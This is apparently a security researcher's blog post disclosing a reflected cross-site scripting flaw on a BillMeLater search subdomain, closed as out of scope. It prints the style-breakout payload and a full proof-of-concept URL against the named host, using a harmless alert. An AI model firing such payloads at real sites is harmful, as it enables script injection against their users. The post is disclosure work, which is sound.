↓ Skip to main content
A row of identical hangar doors along an airfield building, one of them slid open onto the dark interior.
Photo by Katherine Chase on Unsplash
  1. Archive/

BillMeLater: XSS Through a Style Attribute

·1 min
Reflected XSS Attribute injection Context breakout Vendor response
Patrik Grobshäuser
Author
Patrik Grobshäuser
Security researcher at Assetnote / Searchlight Cyber. Before that, seven years triaging other people’s reports at HackerOne and Shopify. Hunting bugs since 2012, published as Patrik Fehrenbach until 2025.
Table of Contents

I recently found a reflected cross-site scripting issue on a subdomain of BillMeLater (a PayPal acquisition). It was possible to break out of a style attribute and inject JavaScript into the page.

"--></style></ script >< script > alert ("XSS  ")</ script >

Proof of concept
#

By closing the preceding style and script elements it was possible to open a new script element and execute the payload. The full URL looked like this:

http://wwwb.search.billmelater.com/coupons/store/guess/?u=%27%22--%3E%3C/style%3E%3C/%20script%20%3E%3C%20script%20%3E%20alert%20%28%22XSS%20%20%22%29%3C/%20script%20%3E
Firefox displaying a JavaScript alert dialog reading XSS on the BillMeLater coupon search page, proving the reflected injection executed

This only worked in Firefox; Chrome and Internet Explorer blocked execution with their built-in anti-XSS filters.

Disclosure
#

The report was ultimately categorised as “Out of Scope”.

Related